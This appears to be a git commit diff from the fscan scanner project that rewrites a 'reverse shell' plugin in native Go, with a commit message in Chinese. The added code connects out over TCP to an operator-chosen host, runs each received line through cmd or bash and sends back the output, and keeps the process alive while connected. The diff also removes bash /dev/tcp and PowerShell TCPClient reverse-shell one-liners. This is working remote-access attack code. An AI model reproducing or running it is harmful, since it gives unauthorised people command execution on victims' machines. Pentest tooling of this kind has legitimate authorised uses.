fix: 修复反弹shell插件立即退出问题,改为纯Go原生实现

- 添加ReverseShellActive全局状态标志用于控制程序生命周期
- 修改Scanner.go检查活跃反弹shell并阻塞程序退出
- 重写reverseshell插件为纯Go原生TCP实现,移除PowerShell依赖
- 实现原生命令执行和交互式shell会话管理
- 修复多线程异步架构导致的连接立即断开问题
This commit is contained in:
ZacharyZcR 2025-08-10 06:00:13 +08:00
parent fc6dd50377
commit 551d36b998
3 changed files with 137 additions and 126 deletions

View File

@ -65,6 +65,7 @@ var (
// 反弹Shell相关变量 // 反弹Shell相关变量
ReverseShellTarget string ReverseShellTarget string
ReverseShellActive bool // 反弹Shell是否处于活跃状态
// Parse.go 使用的变量 // Parse.go 使用的变量
HostPort []string HostPort []string

View File

@ -58,6 +58,15 @@ func RunScan(info common.HostInfo) {
// 等待所有扫描完成 // 等待所有扫描完成
wg.Wait() wg.Wait()
// 检查是否有活跃的反弹Shell
if common.ReverseShellActive {
common.LogBase("检测到活跃的反弹Shell保持程序运行...")
common.LogBase("按 Ctrl+C 退出程序")
// 进入无限等待保持程序运行以维持反弹Shell连接
select {} // 阻塞等待,直到收到系统信号
}
// 完成扫描 // 完成扫描
finishScan() finishScan()
} }

View File

@ -1,8 +1,10 @@
package reverseshell package reverseshell
import ( import (
"bufio"
"context" "context"
"fmt" "fmt"
"io"
"net" "net"
"os" "os"
"os/exec" "os/exec"
@ -51,9 +53,9 @@ func NewReverseShellPlugin() *ReverseShellPlugin {
Name: "reverseshell", Name: "reverseshell",
Version: "1.0.0", Version: "1.0.0",
Author: "fscan-team", Author: "fscan-team",
Description: "反弹Shell本地插件支持Windows/Linux/macOS", Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local", Category: "local",
Tags: []string{"local", "shell", "reverse", "crossplatform"}, Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
Protocols: []string{"local"}, Protocols: []string{"local"},
} }
@ -131,9 +133,9 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*
return p.ScanLocal(ctx, info) return p.ScanLocal(ctx, info)
} }
// ScanLocal 执行反弹Shell扫描 // ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始反弹Shell准备...") common.LogBase("启动Go原生反弹Shell...")
// 建立连接 // 建立连接
conn, err := p.connector.Connect(ctx, info) conn, err := p.connector.Connect(ctx, info)
@ -147,34 +149,135 @@ func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInf
reverseShellConn := conn.(*ReverseShellConnection) reverseShellConn := conn.(*ReverseShellConnection)
// 生成反弹Shell命令 // 启动反弹shell
commands := p.generateReverseShellCommands() common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
currentOS := runtime.GOOS
command, exists := commands[currentOS] // 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到
if !exists { err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
if err != nil {
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
return &base.ScanResult{ return &base.ScanResult{
Success: false, Success: false,
Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS), Error: err,
}, nil }, nil
} }
result := &base.ScanResult{ result := &base.ScanResult{
Success: true, Success: true,
Service: "ReverseShell", Service: "ReverseShell",
Banner: fmt.Sprintf("反弹Shell准备就绪 - 目标: %s 平台: %s", reverseShellConn.Target, currentOS), Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
Extra: map[string]interface{}{ Extra: map[string]interface{}{
"target": reverseShellConn.Target, "target": reverseShellConn.Target,
"platform": currentOS, "platform": runtime.GOOS,
"command": command, "implementation": "go_native",
"status": "ready", "status": "completed",
"commands": commands,
}, },
} }
common.LogSuccess(fmt.Sprintf("反弹Shell扫描完成目标: %s平台: %s", reverseShellConn.Target, currentOS))
return result, nil return result, nil
} }
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
// 连接到目标
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
if err != nil {
return fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
// 设置反弹Shell为活跃状态告诉主程序保持运行
common.ReverseShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ReverseShellActive = false
}()
// 发送欢迎消息
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
conn.Write([]byte(welcomeMsg))
conn.Write([]byte("Type 'exit' to quit\n"))
// 创建读取器
reader := bufio.NewReader(conn)
for {
// 检查上下文取消
select {
case <-ctx.Done():
conn.Write([]byte("Shell session terminated by context\n"))
return ctx.Err()
default:
}
// 发送提示符
prompt := fmt.Sprintf("%s> ", getCurrentDir())
conn.Write([]byte(prompt))
// 读取命令
cmdLine, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
common.LogBase("反弹Shell连接关闭")
return nil
}
return fmt.Errorf("读取命令错误: %v", err)
}
// 清理命令
cmdLine = strings.TrimSpace(cmdLine)
if cmdLine == "" {
continue
}
// 检查退出命令
if cmdLine == "exit" {
conn.Write([]byte("Goodbye!\n"))
return nil
}
// 执行命令
result := p.executeCommand(cmdLine)
// 发送结果
conn.Write([]byte(result + "\n"))
}
}
// executeCommand 执行系统命令
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
var cmd *exec.Cmd
// 根据操作系统选择命令解释器
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/C", cmdLine)
case "linux", "darwin":
cmd = exec.Command("bash", "-c", cmdLine)
default:
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
}
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("错误: %v\n%s", err, string(output))
}
return string(output)
}
// getCurrentDir 获取当前目录
func getCurrentDir() string {
dir, err := os.Getwd()
if err != nil {
return "unknown"
}
return dir
}
// GetLocalData 获取反弹Shell本地数据 // GetLocalData 获取反弹Shell本地数据
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{}) data := make(map[string]interface{})
@ -184,6 +287,7 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter
data["platform"] = runtime.GOOS data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH data["arch"] = runtime.GOARCH
data["target"] = p.target data["target"] = p.target
data["implementation"] = "go_native"
if homeDir, err := os.UserHomeDir(); err == nil { if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir data["home_dir"] = homeDir
@ -193,119 +297,16 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter
data["work_dir"] = workDir data["work_dir"] = workDir
} }
// 生成命令
data["commands"] = p.generateReverseShellCommands()
return data, nil return data, nil
} }
// ExtractData 提取数据并执行反弹Shell
func (p *ReverseShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
commands, ok := data["commands"].(map[string]string)
if !ok {
return &base.ExploitResult{
Success: false,
Error: fmt.Errorf("无法获取反弹Shell命令"),
}, nil
}
currentOS := runtime.GOOS
command, exists := commands[currentOS]
if !exists {
return &base.ExploitResult{
Success: false,
Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS),
}, nil
}
common.LogBase(fmt.Sprintf("开始执行反弹Shell命令: %s", command))
// 执行反弹Shell命令
result, err := p.executeReverseShell(ctx, command)
if err != nil {
common.LogError(fmt.Sprintf("反弹Shell执行失败: %v", err))
return &base.ExploitResult{
Success: false,
Error: err,
Extra: map[string]interface{}{
"command": command,
"platform": currentOS,
"target": p.target,
},
}, nil
}
common.LogSuccess("反弹Shell执行完成")
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("反弹Shell已执行目标: %s", p.target),
Data: data,
Extra: map[string]interface{}{
"command": command,
"platform": currentOS,
"target": p.target,
"output": result,
},
}, nil
}
// generateReverseShellCommands 生成不同平台的反弹Shell命令
func (p *ReverseShellPlugin) generateReverseShellCommands() map[string]string {
host, portStr, _ := net.SplitHostPort(p.target)
if host == "" {
host = p.target
portStr = "4444"
}
commands := map[string]string{
"linux": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr),
"darwin": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr),
"windows": fmt.Sprintf("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('%s',%s);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", host, portStr),
}
return commands
}
// executeReverseShell 执行反弹Shell命令
func (p *ReverseShellPlugin) executeReverseShell(ctx context.Context, command string) (string, error) {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
// Windows PowerShell命令
cmd = exec.CommandContext(ctx, "powershell", "-Command", command)
case "linux", "darwin":
// Unix-like系统使用bash
cmd = exec.CommandContext(ctx, "bash", "-c", command)
default:
return "", fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
}
// 设置超时
timeoutCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
defer cancel()
cmd = exec.CommandContext(timeoutCtx, cmd.Args[0], cmd.Args[1:]...)
output, err := cmd.CombinedOutput()
if err != nil {
return "", fmt.Errorf("执行反弹Shell命令失败: %v, 输出: %s", err, string(output))
}
return string(output), nil
}
// GetInfo 获取插件信息 // GetInfo 获取插件信息
func (p *ReverseShellPlugin) GetInfo() string { func (p *ReverseShellPlugin) GetInfo() string {
commands := p.generateReverseShellCommands()
var info strings.Builder var info strings.Builder
info.WriteString(fmt.Sprintf("反弹Shell插件 - 目标: %s\n", p.target)) info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
info.WriteString("支持的平台命令:\n") info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
for platform, command := range commands {
info.WriteString(fmt.Sprintf(" %s: %s\n", platform, command))
}
return info.String() return info.String()
} }
@ -317,10 +318,10 @@ func RegisterReverseShellPlugin() {
Name: "reverseshell", Name: "reverseshell",
Version: "1.0.0", Version: "1.0.0",
Author: "fscan-team", Author: "fscan-team",
Description: "反弹Shell本地插件支持Windows/Linux/macOS", Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local", Category: "local",
Tags: []string{"reverseshell", "local", "shell", "crossplatform"}, Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
Protocols: []string{"tcp"}, Protocols: []string{"local"},
}, },
func() base.Plugin { func() base.Plugin {
return NewReverseShellPlugin() return NewReverseShellPlugin()